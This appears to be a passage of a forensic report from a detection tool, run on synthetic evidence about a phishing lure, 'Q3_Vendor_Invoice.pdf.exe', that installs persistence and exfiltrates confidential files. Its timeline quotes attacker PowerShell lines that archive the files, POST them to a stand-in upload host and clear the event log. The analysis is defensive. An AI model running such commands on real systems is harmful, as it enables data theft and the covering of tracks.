domain	files.invoice-portal.example	reserved_example	watchlist_match	Matches local watchlist entry 'files.invoice-portal.example' (synthetic-intel-feed, confidence low): Lure hosting domain reported in a fictional phishing campaign	3
domain	upload.meridian-sync.example	reserved_example	watchlist_match	Matches local watchlist entry 'meridian-sync.example' (synthetic-intel-feed, confidence medium): Domain family used by fictional 'MSync' tooling (training data)	5
ipv4	203.0.113.77	documentation	watchlist_match	Matches local watchlist entry '203.0.113.77' (synthetic-intel-feed, confidence medium): Infrastructure associated with fictional 'MSync' tooling (training data)	14
sha256	b52143d4a49a8f3f362012f22805ec0da015a4efe8968a6167f72b5b79263290	file_hash	watchlist_match	Matches local watchlist entry 'b52143d4a49a8f3f362012f22805ec0da015a4efe8968a6167f72b5b79263290' (synthetic-intel-feed, confidence high): SHA-256 of the synthetic 'Q3_Vendor_Invoice.pdf.exe' training sample	4
url	https://cdn.meridian-sync.example/beacon/v2	reserved_example	watchlist_match	Matches local watchlist entry 'meridian-sync.example' (synthetic-intel-feed, confidence medium): Domain family used by fictional 'MSync' tooling (training data)	1
url	https://files.invoice-portal.example/d/7f3a9c2e/Q3_Vendor_Invoice.pdf.exe	reserved_example	watchlist_match	Matches local watchlist entry 'files.invoice-portal.example' (synthetic-intel-feed, confidence low): Lure hosting domain reported in a fictional phishing campaign	3
url	https://upload.meridian-sync.example/api/v2/upload	reserved_example	watchlist_match	Matches local watchlist entry 'meridian-sync.example' (synthetic-intel-feed, confidence medium): Domain family used by fictional 'MSync' tooling (training data)	4
filename	msync.exe	executable	suspicious	Referenced by finding 'PowerShell launched with encoded command or hidden window' (WIN-PROC-003).	12
filename	q3_archive.zip	archive	suspicious	Referenced by finding 'PowerShell launched with encoded command or hidden window' (WIN-PROC-003).	8
filename	q3_vendor_invoice.pdf.exe	double_extension_executable	suspicious	Referenced by finding 'Process executed from a user-writable location' (WIN-PROC-001).	7
ipv4	10.20.4.42	private	suspicious	Referenced by finding 'Large outbound transfer to an external address' (NET-001).	24
ipv4	10.20.9.15	private	suspicious	Referenced by finding 'Repeated failed logons for the same account' (WIN-AUTH-001).	3
process	msync.exe	process_image	suspicious	Process creation of this image was flagged (WIN-PROC-004) at 2026-10-14T13:44:06.733000+00:00.	11
process	powershell.exe	process_image	suspicious	Process creation of this image was flagged (WIN-PROC-003, WIN-PROC-004) at 2026-10-14T13:43:31.107000+00:00.	11
process	q3_vendor_invoice.pdf.exe	process_image	suspicious	Process creation of this image was flagged (WIN-PROC-001, WIN-PROC-002) at 2026-10-14T13:43:10.482000+00:00.	4
domain	news.example.com	reserved_example	observed	Observed in evidence; no watchlist entry or medium+ severity finding references it.	2
domain	www.google.example	reserved_example	observed	Observed in evidence; no watchlist entry or medium+ severity finding references it.	1
filename	mfs_reportviewer.exe	executable	observed	Observed in evidence; no watchlist entry or medium+ severity finding references it.	1

Type	Indicator	Namespace	Assessment	Reason	Seen
ipv4	192.0.2.10	documentation	observed	Observed in evidence; no watchlist entry or medium+ severity finding references it.	1
ipv4	192.0.2.145	documentation	observed	Observed in evidence; no watchlist entry or medium+ severity finding references it.	2
ipv4	192.0.2.80	documentation	observed	Observed in evidence; no watchlist entry or medium+ severity finding references it.	2
ipv4	198.51.100.24	documentation	observed	Observed in evidence; no watchlist entry or medium+ severity finding references it.	4
md5	b09e01648413bd96871c7ae46d0bd19c	file_hash	observed	Observed in evidence; no watchlist entry or medium+ severity finding references it.	1
md5	c0d577ea53662df23d58051c167cd8f9	file_hash	observed	Observed in evidence; no watchlist entry or medium+ severity finding references it.	1
process	chrome.exe	process_image	observed	Observed in evidence; no watchlist entry or medium+ severity finding references it.	4
process	excel.exe	process_image	observed	Observed in evidence; no watchlist entry or medium+ severity finding references it.	1
process	explorer.exe	process_image	observed	Observed in evidence; no watchlist entry or medium+ severity finding references it.	5
process	userinit.exe	process_image	observed	Observed in evidence; no watchlist entry or medium+ severity finding references it.	1
sha256	a900c7d1e2ed185e89ff95ccc059afefbf4678e764abe04eafebb67c5c09c520	file_hash	observed	Observed in evidence; no watchlist entry or medium+ severity finding references it.	1
sha256	dc36f3d5d41a768c88c9613a6baa0784b5cdb6d39e8b25058f4e6ed44533deaa	file_hash	observed	Observed in evidence; no watchlist entry or medium+ severity finding references it.	2
url	https://news.example.com/markets/today	reserved_example	observed	Observed in evidence; no watchlist entry or medium+ severity finding references it.	1
domain	intranet.meridianfs.example	reserved_example	benign_context	Organisation-owned domain (configured internal domain); recorded for context.	7
domain	mail.meridianfs.example	reserved_example	benign_context	Organisation-owned domain (configured internal domain); recorded for context.	4
ipv4	10.20.1.15	private	benign_context	Internal address; recorded for context.	2
ipv4	127.0.0.1	loopback	benign_context	Internal address; recorded for context.	1
url	https://intranet.meridianfs.example/	reserved_example	benign_context	Organisation-owned domain (configured internal domain); recorded for context.	1
url	https://intranet.meridianfs.example/finance/templates	reserved_example	benign_context	Organisation-owned domain (configured internal domain); recorded for context.	1
url	https://intranet.meridianfs.example/finance/templates/Q3_Budget_Template.xlsx	reserved_example	benign_context	Organisation-owned domain (configured internal domain); recorded for context.	1
url	https://intranet.meridianfs.example/it/report-phishing	reserved_example	benign_context	Organisation-owned domain (configured internal domain); recorded for context.	1
url	https://intranet.meridianfs.example/reports	reserved_example	benign_context	Organisation-owned domain (configured internal domain); recorded for context.	1
url	https://mail.meridianfs.example/owa/	reserved_example	benign_context	Organisation-owned domain (configured internal domain); recorded for context.	4

12. Reconstructed sequences (hypotheses)

CORR-002 – Suspected intrusion chain: delivery, execution, sensitive data access and outbound transfer

Severity critical · confidence high · classification hypothesis

Step	Time (UTC)	Event	Link
download	2026-10-14T13:41:45	Download: C:\Users\jmorales\Downloads\Q3_Vendor_Invoice.pdf.exe from https://files.invoice-portal.example/d/7f3a9c2e/Q3_Vendor_Invoice.pdf.exe (54,792 bytes, user_validated)	anchor
file_written	2026-10-14T13:41:49	file_create: C:\Users\jmorales\Downloads\Q3_Vendor_Invoice.pdf.exe by chrome.exe	same sha256 as step 'download' (b52143d4a49a8f3f362012f22805ec0da015a4efe8968a6167f72b5b79263290); same file name as step 'download' (q3_vendor_invoice.pdf.exe)
execution	2026-10-14T13:43:10	[4688] Process created: C:\Users\jmorales\Downloads\Q3_Vendor_Invoice.pdf.exe (parent C:\Windows\explorer.exe, user jmorales)	same file name as step 'download' (q3_vendor_invoice.pdf.exe)
sensitive_access	2026-10-14T13:52:10	[4663] Object access: C:\Users\jmorales\Documents\Confidential\Q3_Board_Financials.xlsx by C:\ProgramData\MSync\msync.exe	PID 7192 belongs to the process lineage of the executed image
exfiltration	2026-10-14T13:58:06	ALLOW 10.20.4.42 -> 203.0.113.77:443 sent 48,213,904 B / received 9,844 B	destination 203.0.113.77 is hard-coded in the analysed binary 'q3_vendor_invoice.pdf.exe'

• Correlation is inferred from timestamps and shared entities. It indicates a plausible sequence and does not by itself prove causation.
• Events come from 4 different sources (browser_history, csv_log, json_events, windows_evtx); clock skew between sources could affect ordering by seconds or more.

CORR-001 – Downloaded executable was subsequently executed

Severity high · confidence high · classification hypothesis

Step	Time (UTC)	Event	Link
download	2026-10-14T13:41:45	Download: C:\Users\jmorales\Downloads\Q3_Vendor_Invoice.pdf.exe from https://files.invoice-portal.example/d/7f3a9c2e/Q3_Vendor_Invoice.pdf.exe (54,792 bytes, user_validated)	anchor
execution	2026-10-14T13:43:10	[4688] Process created: C:\Users\jmorales\Downloads\Q3_Vendor_Invoice.pdf.exe (parent C:\Windows\explorer.exe, user jmorales)	same file name as step 'download' (q3_vendor_invoice.pdf.exe)

• Correlation is inferred from timestamps and shared entities. It indicates a plausible sequence and does not by itself prove causation.
• Events come from 2 different sources (browser_history, windows_evtx); clock skew between sources could affect ordering by seconds or more.

CORR-003 – Persistence created by a process descended from a downloaded executable

Severity high · confidence high · classification hypothesis

Step	Time (UTC)	Event	Link
execution	2026-10-14T13:43:10	[4688] Process created: C:\Users\jmorales\Downloads\Q3_Vendor_Invoice.pdf.exe (parent C:\Windows\explorer.exe, user jmorales)	anchor
persistence	2026-10-14T13:44:15	[4698] Scheduled task created: \Microsoft\Windows\MSync\Updater by jmorales	target image 'c:\programdata\msync\msync.exe' is part of the process lineage (image path match; no PID available)

• Correlation is inferred from timestamps and shared entities. It indicates a plausible sequence and does not by itself prove causation.

CORR-004 – Archive staged then large outbound transfer

Severity high · confidence low · classification hypothesis

Step	Time (UTC)	Event	Link
archive	2026-10-14T13:57:19	file_create: C:\ProgramData\MSync\q3_archive.zip by powershell.exe	anchor
transfer	2026-10-14T13:58:06	ALLOW 10.20.4.42 -> 203.0.113.77:443 sent 48,213,904 B / received 9,844 B	host + time window only

• Correlation is inferred from timestamps and shared entities. It indicates a plausible sequence and does not by itself prove causation.
• Step(s) 'transfer' are attached only by host and time proximity; an unrelated event could occupy the same window.
• Events come from 2 different sources (csv_log, json_events); clock skew between sources could affect ordering by seconds or more.

CORR-005 – Event log cleared after suspicious execution

Severity high · confidence low · classification hypothesis

Step	Time (UTC)	Event	Link
execution	2026-10-14T13:43:10	[4688] Process created: C:\Users\jmorales\Downloads\Q3_Vendor_Invoice.pdf.exe (parent C:\Windows\explorer.exe, user jmorales)	anchor
log_clear	2026-10-14T14:03:11	[104] Event log 'Windows PowerShell' cleared by MERIDIANFS\jmorales	host + time window only

- Correlation is inferred from timestamps and shared entities. It indicates a plausible sequence and does not by itself prove causation.
- Step(s) 'log_clear' are attached only by host and time proximity; an unrelated event could occupy the same window.

13. Investigation timeline

Time (UTC)	Source	Sev.	Event
2026-10-14T12:29:51.002	windows_evtx system	INFO	[6005] Event Log service started
2026-10-14T12:30:05.400	windows_evtx service_state	INFO	[7036] Service 'Windows Update' entered the running state
2026-10-14T12:31:04.220	windows_evtx auth_logon	INFO	[4624] Logon: MERIDIANFS\jmorales type 2 (Interactive) from 127.0.0.1
2026-10-14T12:31:09.015	windows_evtx process_creation	INFO	[4688] Process created: C:\Windows\explorer.exe (parent C:\Windows\System32\userinit.exe, user jmorales)
2026-10-14T12:32:40.511	windows_evtx process_creation	INFO	[4688] Process created: C:\Program Files\Google\Chrome\Application\chrome.exe (parent C:\Windows\explorer.exe, user jmorales)
2026-10-14T12:32:43.120	text_log dns_query	INFO	DNS A query www.google.example -> 192.0.2.10 (NOERROR)
2026-10-14T12:32:44+00:	csv_log network_connection	INFO	ALLOW 10.20.4.42 -> 198.51.100.24:443 sent 18,204 B / received 412,880 B
2026-10-14T12:33:00.870	text_log dns_query	INFO	DNS A query intranet.meridianfs.example -> 10.20.1.15 (NOERROR)
2026-10-14T12:33:01.400	browser_history web_visit	INFO	Visited https://intranet.meridianfs.example/ – “Meridian Intranet - Home”
2026-10-14T12:35:43.990	text_log dns_query	INFO	DNS A query news.example.com -> 192.0.2.80 (NOERROR)
2026-10-14T12:35:44.102	browser_history web_visit	INFO	Visited https://news.example.com/markets/today – “Markets Today | Example News”
2026-10-14T12:35:45+00:	csv_log network_connection	INFO	ALLOW 10.20.4.42 -> 192.0.2.80:443 sent 6,512 B / received 1,201,772 B
2026-10-14T12:39:50.007	browser_history web_visit	INFO	Visited https://intranet.meridianfs.example/finance/templates – “Finance Templates”
2026-10-14T12:39:58.210	browser_history file_download	INFO	Download: C:\Users\jmorales\Downloads\Q3_Budget_Template.xlsx from https://intranet.meridianfs.example/finance/templates/Q3_Budget_Template.xlsx (84,220 bytes, not_dangerous)
2026-10-14T12:39:59.050	json_events file_create	INFO	file_create: C:\Users\jmorales\Downloads\Q3_Budget_Template.xlsx by chrome.exe
2026-10-14T12:40:12.087	windows_evtx process_creation	INFO	[4688] Process created: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE (parent C:\Windows\explorer.exe, user jmorales)
2026-10-14T12:47:30.010	windows_evtx powershell_script	INFO	[4104] PowerShell script block: Get-Service | Where-Object { $_.Status -eq 'Running' } | Select-Object -First 5
2026-10-14T12:58:40.301	windows_evtx auth_failure	MEDIUM	[4625] Failed logon for administrator from 10.20.9.15 (WS-HR-015), status 0xc000006d
2026-10-14T12:58:44.950	windows_evtx auth_failure	MEDIUM	[4625] Failed logon for administrator from 10.20.9.15 (WS-HR-015), status 0xc000006d
2026-10-14T12:58:49.412	windows_evtx auth_failure	MEDIUM	[4625] Failed logon for administrator from 10.20.9.15 (WS-HR-015), status 0xc000006d
2026-10-14T13:38:02.410	text_log dns_query	INFO	DNS A query mail.meridianfs.example -> 198.51.100.24 (NOERROR)
2026-10-14T13:38:02.905	browser_history web_visit	INFO	Visited https://mail.meridianfs.example/owa/#inbox – “Mail - Jordan Morales - Outlook Web”
2026-10-14T13:38:03+00:	csv_log network_connection	INFO	ALLOW 10.20.4.42 -> 198.51.100.24:443 sent 22,841 B / received 840,119 B
2026-10-14T13:41:20.330	browser_history web_visit	INFO	Visited https://mail.meridianfs.example/owa/#message/AAMkADQ3MjE2 – “RE: Overdue Q3 vendor invoice - action required”

Time (UTC)	Source	Sev.	Event
2026-10-14T13:41:44.702	text_log dns_query	INFO	DNS A query files.invoice-portal.example -> 192.0.2.145 (NOERROR)
2026-10-14T13:41:44.871	browser_history web_visit	INFO	Visited https://files.invoice-portal.example/d/7f3a9c2e/Q3_Vendor_Invoice.pdf.exe
2026-10-14T13:41:45+00:	csv_log network_connection	INFO	ALLOW 10.20.4.42 -> 192.0.2.145:443 sent 3,208 B / received 0 B
2026-10-14T13:41:45.102	browser_history file_download	HIGH	Download: C:\Users\jmorales\Downloads\Q3_Vendor_Invoice.pdf.exe from https://files.invoice-portal.example/d/7f3a9c2e/Q3_Vendor_Invoice.pdf.exe (54,792 bytes, user_validated)
2026-10-14T13:41:49.702	json_events file_create	MEDIUM	file_create: C:\Users\jmorales\Downloads\Q3_Vendor_Invoice.pdf.exe by chrome.exe
2026-10-14T13:43:10.482	windows_evtx process_creation	HIGH	[4688] Process created: C:\Users\jmorales\Downloads\Q3_Vendor_Invoice.pdf.exe (parent C:\Windows\explorer.exe, user jmorales)
2026-10-14T13:43:12.204	text_log dns_query	INFO	DNS A query cdn.meridian-sync.example -> 203.0.113.77 (NOERROR)
2026-10-14T13:43:14+00:	csv_log network_connection	INFO	ALLOW 10.20.4.42 -> 203.0.113.77:443 sent 1,844 B / received 6,301 B
2026-10-14T13:43:14.610	windows_evtx network_connection	MEDIUM	[5156] Connection permitted: \device\harddiskvolume3\users\jmorales\downloads\q3_vendor_invoice.pdf.exe -> 203.0.113.77:443
2026-10-14T13:43:31.107	windows_evtx process_creation	HIGH	[4688] Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe (parent C:\Users\jmorales\Downloads\Q3_Vendor_Invoice.pdf.exe, user jmorales)
2026-10-14T13:43:32.015	windows_evtx powershell_script	INFO	[4104] PowerShell script block: New-Item -ItemType Directory -Force -Path C:\ProgramData\MSync | Out-Null; Copy-Item -Path $env:USERPROFILE\Downloads\Q3_Vendor_Invoice.pdf.exe -Destination C:\…
2026-10-14T13:44:02.318	json_events file_create	MEDIUM	file_create: C:\ProgramData\MSync\msync.exe by powershell.exe
2026-10-14T13:44:06.733	windows_evtx process_creation	MEDIUM	[4688] Process created: C:\ProgramData\MSync\msync.exe (parent C:\Users\jmorales\Downloads\Q3_Vendor_Invoice.pdf.exe, user jmorales)
2026-10-14T13:44:15.240	windows_evtx persistence_task	MEDIUM	[4698] Scheduled task created: \Microsoft\Windows\MSync\Updater by jmorales
2026-10-14T13:44:40.117	windows_evtx persistence_service	HIGH	[7045] Service installed: MeridianSyncSvc -> "C:\ProgramData\MSync\msync.exe" --service (auto start, LocalSystem)
2026-10-14T13:44:41.003	windows_evtx service_state	INFO	[7036] Service 'MeridianSyncSvc' entered the running state
2026-10-14T13:44:58.019	windows_evtx account_created	MEDIUM	[4720] User account created: svc_msync by jmorales
2026-10-14T13:45:03.552	windows_evtx group_membership_change	HIGH	[4732] Member S-1-5-21-3623811015-3361044348-30300820-1188 added to group Administrators by jmorales
2026-10-14T13:48:13.880	text_log dns_query	INFO	DNS A query cdn.meridian-sync.example -> 203.0.113.77 (NOERROR)
2026-10-14T13:48:14+00:	csv_log network_connection	INFO	ALLOW 10.20.4.42 -> 203.0.113.77:443 sent 1,790 B / received 512 B
2026-10-14T13:48:15+00:	browser_history web_visit	INFO	Visited https://mail.meridianfs.example/owa/#inbox – “Mail - Jordan Morales - Outlook Web”
2026-10-14T13:52:10.118	windows_evtx file_access	MEDIUM	[4663] Object access: C:\Users\jmorales\Documents\Confidential\Q3_Board_Financials.xlsx by C:\ProgramData\MSync\msync.exe
2026-10-14T13:52:10.120	json_events file_access	MEDIUM	file_read: C:\Users\jmorales\Documents\Confidential\Q3_Board_Financials.xlsx by msync.exe
2026-10-14T13:53:02.640	windows_evtx file_access	MEDIUM	[4663] Object access: C:\Users\jmorales\Documents\Confidential\Client_Portfolio_Export.csv by C:\ProgramData\MSync\msync.exe
2026-10-14T13:53:02.641	json_events file_access	MEDIUM	file_read: C:\Users\jmorales\Documents\Confidential\Client_Portfolio_Export.csv by msync.exe
2026-10-14T13:53:14.951	text_log dns_query	INFO	DNS A query cdn.meridian-sync.example -> 203.0.113.77 (NOERROR)
2026-10-14T13:53:15+00:	csv_log network_connection	INFO	ALLOW 10.20.4.42 -> 203.0.113.77:443 sent 1,802 B / received 512 B
2026-10-14T13:54:37.009	windows_evtx file_access	MEDIUM	[4663] Object access: C:\Users\jmorales\Documents\Confidential\Project_Atlas_MA_Term_Sheet.docx by C:\ProgramData\MSync\msync.exe
2026-10-14T13:54:37.011	json_events file_access	MEDIUM	file_read: C:\Users\jmorales\Documents\Confidential\Project_Atlas_MA_Term_Sheet.docx by msync.exe

Time (UTC)	Source	Sev.	Event
2026-10-14T13:55:47.381	windows_evtx file_access	MEDIUM	[4663] Object access: C:\Users\jmorales\Documents\Confidential\Wire_Approval_Matrix_2026.pdf by C:\ProgramData\MSync\msync.exe
2026-10-14T13:55:47.383	json_events file_access	MEDIUM	file_read: C:\Users\jmorales\Documents\Confidential\Wire_Approval_Matrix_2026.pdf by msync.exe
2026-10-14T13:57:02.455	windows_evtx process_creation	HIGH	[4688] Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe (parent C:\ProgramData\MSync\msync.exe, user jmorales)
2026-10-14T13:57:03.301	windows_evtx powershell_script	HIGH	[4104] PowerShell script block: Compress-Archive -Path "$env:USERPROFILE\Documents\Confidential*" -DestinationPath C:\ProgramData\MSync\q3_archive.zip -Force
2026-10-14T13:57:05.010	windows_evtx file_access	MEDIUM	[4663] Object access: C:\Users\jmorales\Documents\Confidential\Q3_Board_Financials.xlsx by C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
2026-10-14T13:57:05.220	windows_evtx file_access	MEDIUM	[4663] Object access: C:\Users\jmorales\Documents\Confidential\Client_Portfolio_Export.csv by C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
2026-10-14T13:57:05.431	windows_evtx file_access	MEDIUM	[4663] Object access: C:\Users\jmorales\Documents\Confidential\Project_Atlas_MA_Term_Sheet.docx by C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
2026-10-14T13:57:05.655	windows_evtx file_access	MEDIUM	[4663] Object access: C:\Users\jmorales\Documents\Confidential\Wire_Approval_Matrix_2026.pdf by C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
2026-10-14T13:57:19.904	json_events file_create	LOW	file_create: C:\ProgramData\MSync\q3_archive.zip by powershell.exe
2026-10-14T13:58:04.772	windows_evtx powershell_script	HIGH	[4104] PowerShell script block: Invoke-WebRequest -Uri https://upload.meridian-sync.example/api/v2/upload -Method Post -InFile C:\ProgramData\MSync\q3_archive.zip -UseBasicParsing
2026-10-14T13:58:05.310	text_log dns_query	INFO	DNS A query upload.meridian-sync.example -> 203.0.113.77 (NOERROR)
2026-10-14T13:58:06+00:	csv_log network_connection	HIGH	ALLOW 10.20.4.42 -> 203.0.113.77:443 sent 48,213,904 B / received 9,844 B
2026-10-14T13:58:06.002	windows_evtx network_connection	MEDIUM	[5156] Connection permitted: \device\harddiskvolume3\windows\system32\windowspowershell\v1.0\powershell.exe -> 203.0.113.77:443
2026-10-14T14:03:09.870	windows_evtx process_creation	HIGH	[4688] Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe (parent C:\ProgramData\MSync\msync.exe, user jmorales)
2026-10-14T14:03:10.412	windows_evtx powershell_script	HIGH	[4104] PowerShell script block: Clear-EventLog -LogName "Windows PowerShell"; Remove-Item -Force C:\ProgramData\MSync\q3_archive.zip
2026-10-14T14:03:11.096	windows_evtx log_cleared	HIGH	[104] Event log 'Windows PowerShell' cleared by MERIDIANFS\jmorales
2026-10-14T14:03:12.030	json_events file_delete	LOW	file_delete: C:\ProgramData\MSync\q3_archive.zip by powershell.exe
2026-10-14T14:03:15.777	text_log dns_query	INFO	DNS A query cdn.meridian-sync.example -> 203.0.113.77 (NOERROR)
2026-10-14T14:03:16+00:	csv_log network_connection	INFO	ALLOW 10.20.4.42 -> 203.0.113.77:443 sent 1,811 B / received 512 B
2026-10-14T14:15:22.064	windows_evtx process_creation	INFO	[4688] Process created: C:\Program Files\Google\Chrome\Application\chrome.exe (parent C:\Windows\explorer.exe, user jmorales)
2026-10-14T14:15:22.410	text_log dns_query	INFO	DNS A query intranet.meridianfs.example -> 10.20.1.15 (NOERROR)
2026-10-14T14:15:22.900	browser_history web_visit	INFO	Visited https://intranet.meridianfs.example/it/report-phishing – “Report a Suspicious Email - IT Security”
2026-10-14T14:15:23+00:	csv_log network_connection	INFO	ALLOW 10.20.4.42 -> 198.51.100.24:443 sent 9,120 B / received 155,032 B
2026-10-14T14:22:40+00:	csv_log network_connection	INFO	DENY 10.20.4.42 -> 203.0.113.77:443 sent 0 B / received 0 B
2026-10-14T14:31:40.005	windows_evtx auth_logoff	INFO	[4647] User jmorales initiated logoff
2026-10-14T14:40:02.811	windows_evtx service_state	INFO	[7036] Service 'Windows Update' entered the stopped state

* timezone assumed for the source value

14. Findings by classification

Confirmed rule matches: 20 · Suspicious observations: 47 · Informational: 15 · Inconclusive: 0 · Hypotheses: 5

Confirmed rule matches

A rule's condition is provably satisfied by the evidence; significance depends on the rule.

Rule	Severity	Evidence	Description
IOC-WATCHLIST Indicator matches local watchlist: b52143d4a49a8f3f362012f22805ec0da015a4efe8968a6167f72b5b79263290	HIGH	Q3_Vendor_Invoice.pdf.exe	sha256 b52143d4a49a8f3f362012f22805ec0da015a4efe8968a6167f72b5b79263290 observed 4 time(s); first occurrence in Q3_Vendor_Invoice.pdf.exe (sha256).
TF-YARA-002 YARA TF_PE_Process_Injection_Imports: PE imports the classic remote-process injection API triad	HIGH	Q3_Vendor_Invoice.pdf.exe	Rule TF_PE_Process_Injection_Imports (TF-YARA-002) matched 0 string instance(s) in Q3_Vendor_Invoice.pdf.exe.
TF-YARA-004 YARA TF_Encoded_Hidden_PowerShell: Hidden-window and/or encoded PowerShell command line	HIGH	WS-FIN-042_Security.evtx	Rule TF_Encoded_Hidden_PowerShell (TF-YARA-004) matched 11 string instance(s) in WS-FIN-042_Security.evtx.
TF-YARA-004 YARA TF_Encoded_Hidden_PowerShell: Hidden-window and/or encoded PowerShell command line	HIGH	Q3_Vendor_Invoice.pdf.exe	Rule TF_Encoded_Hidden_PowerShell (TF-YARA-004) matched 2 string instance(s) in Q3_Vendor_Invoice.pdf.exe.
IOC-WATCHLIST Indicator matches local watchlist: https://cdn.meridian-sync.example/beacon/v2	MEDIUM	Q3_Vendor_Invoice.pdf.exe	url https://cdn.meridian-sync.example/beacon/v2 observed 1 time(s); first occurrence in Q3_Vendor_Invoice.pdf.exe (string@2664).
IOC-WATCHLIST Indicator matches local watchlist: cdn.meridian-sync.example	MEDIUM	Q3_Vendor_Invoice.pdf.exe	domain cdn.meridian-sync.example observed 5 time(s); first occurrence in Q3_Vendor_Invoice.pdf.exe (string@2664).
IOC-WATCHLIST Indicator matches local watchlist: 203.0.113.77	MEDIUM	Q3_Vendor_Invoice.pdf.exe	ipv4 203.0.113.77 observed 14 time(s); first occurrence in Q3_Vendor_Invoice.pdf.exe (string@2768).
IOC-WATCHLIST Indicator matches local watchlist: upload.meridian-sync.example	MEDIUM	Q3_Vendor_Invoice.pdf.exe	domain upload.meridian-sync.example observed 5 time(s); first occurrence in Q3_Vendor_Invoice.pdf.exe (string@2712).
IOC-WATCHLIST Indicator matches local watchlist: https://upload.meridian-sync.example/api/v2/upload	MEDIUM	Q3_Vendor_Invoice.pdf.exe	url https://upload.meridian-sync.example/api/v2/upload observed 4 time(s); first occurrence in Q3_Vendor_Invoice.pdf.exe (string@2712).
TF-YARA-003 YARA TF_PE_WX_HighEntropy_Section: PE contains a writable+executable section with near-random content	MEDIUM	Q3_Vendor_Invoice.pdf.exe	Rule TF_PE_WX_HighEntropy_Section (TF-YARA-003) matched 0 string instance(s) in Q3_Vendor_Invoice.pdf.exe.
TF-YARA-005 YARA TF_Archive_And_Upload_Staging: Script or binary that both archives files and uploads data over HTTP POST	MEDIUM	Q3_Vendor_Invoice.pdf.exe	Rule TF_Archive_And_Upload_Staging (TF-YARA-005) matched 3 string instance(s) in Q3_Vendor_Invoice.pdf.exe.
TF-YARA-005 YARA TF_Archive_And_Upload_Staging: Script or binary that both archives files and uploads data over HTTP POST	MEDIUM	WS-FIN-042_PowerShell-Operational.evtx	Rule TF_Archive_And_Upload_Staging (TF-YARA-005) matched 3 string instance(s) in WS-FIN-042_PowerShell-Operational.evtx.
TF-YARA-006 YARA TF_Autostart_Persistence_Strings: References to Run-key or scheduled-task persistence together with an executable path in ProgramData/AppData	MEDIUM	Q3_Vendor_Invoice.pdf.exe	Rule TF_Autostart_Persistence_Strings (TF-YARA-006) matched 6 string instance(s) in Q3_Vendor_Invoice.pdf.exe.
IOC-WATCHLIST Indicator matches local watchlist: files.invoice-portal.example	LOW	Chrome_History_jmorales.sqlite	domain files.invoice-portal.example observed 3 time(s); first occurrence in Chrome_History_jmorales.sqlite (visit.host).
IOC-WATCHLIST Indicator matches local watchlist: https://files.invoice-portal.example/d/7f3a9c2e/Q3_Vendor_Invoice.pdf.exe	LOW	Chrome_History_jmorales.sqlite	url https://files.invoice-portal.example/d/7f3a9c2e/Q3_Vendor_Invoice.pdf.exe observed 3 time(s); first occurrence in Chrome_History_jmorales.sqlite (visit.url).
TF-YARA-007 YARA TF_Sensitive_Document_Targeting: Hard-coded reference to a confidential document location	LOW	WS-FIN-042_Security.evtx	Rule TF_Sensitive_Document_Targeting (TF-YARA-007) matched 5 string instance(s) in WS-FIN-042_Security.evtx.
TF-YARA-007 YARA TF_Sensitive_Document_Targeting: Hard-coded reference to a confidential document location	LOW	Q3_Vendor_Invoice.pdf.exe	Rule TF_Sensitive_Document_Targeting (TF-YARA-007) matched 1 string instance(s) in Q3_Vendor_Invoice.pdf.exe.

Rule	Severity	Evidence	Description
TF-YARA-007 YARA TF_Sensitive_Document_Targeting: Hard-coded reference to a confidential document location	LOW	WS-FIN-042_PowerShell-Operational.evtx	Rule TF_Sensitive_Document_Targeting (TF-YARA-007) matched 1 string instance(s) in WS-FIN-042_PowerShell-Operational.evtx.
TF-YARA-001 YARA TF_Synthetic_Test_Marker: TraceForge synthetic test sample marker	INFO	Q3_Vendor_Invoice.pdf.exe	Rule TF_Synthetic_Test_Marker (TF-YARA-001) matched 1 string instance(s) in Q3_Vendor_Invoice.pdf.exe.
TF-YARA-001 YARA TF_Synthetic_Test_Marker: TraceForge synthetic test sample marker	INFO	MFS_ReportViewer.exe	Rule TF_Synthetic_Test_Marker (TF-YARA-001) matched 1 string instance(s) in MFS_ReportViewer.exe.

Suspicious observations

Evidence consistent with malicious activity that also has benign explanations (stated per rule).

Rule	Severity	Evidence	Description
BRW-002 Download of an executable disguised with a double extension	HIGH	Chrome_History_jmorales.sqlite	Downloaded file 'C:\Users\jmorales\Downloads\Q3_Vendor_Invoice.pdf.exe' from https://files.invoice-portal.example/d/7f3a9c2e/Q3_Vendor_Invoice.pdf.exe.
WIN-ACCT-002 Member added to the local Administrators group	HIGH	WS-FIN-042_Security.evtx	A security principal was added to BUILTIN\Administrators (4732, target SID S-1-5-32-544). Event: Member S-1-5-21-3623811015-3361044348-30300820-1188 added to group Administrators by jmorales
WIN-DEF-002 Event log cleared	HIGH	WS-FIN-042_System.evtx	A non-Security event log was cleared (System 104). The cleared channel is recorded in UserData. Event: Event log 'Windows PowerShell' cleared by MERIDIANFS\jmorales
WIN-PERSIST-003 Service installed with binary in a user-writable or ProgramData path	HIGH	WS-FIN-042_System.evtx	The installed service's binary resides outside Program Files / System32. Event: Service installed: MeridianSyncSvc -> "C:\ProgramData\MSync\msync.exe" --service (auto start, LocalSystem)
WIN-PROC-002 Executable with a document-style double extension was run	HIGH	WS-FIN-042_Security.evtx	The executed image name ends in a document extension followed by an executable extension. Event: Process created: C:\Users\jmorales\Downloads\Q3_Vendor_Invoice.pdf.exe (parent C:\Windows\explorer.exe, user jmorales)
WIN-PROC-003 PowerShell launched with encoded command or hidden window	HIGH	WS-FIN-042_Security.evtx	powershell.exe/pwsh.exe started with -EncodedCommand (or abbreviation) and/or a hidden window. Event: Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe (parent C:\Users\jmorales\Downloads\Q3_Vendor_Invoice.pdf.exe, user jmorales) Decoded command: New-Item -ItemType Directory -Force -Path C:\ProgramData\MSync | Out-Null; Copy-Item -Path $env:USERPROFILE\Downloads\Q3_Vendor_Invoice.pdf.exe -Destination C:\ProgramData\MSync\msync.exe
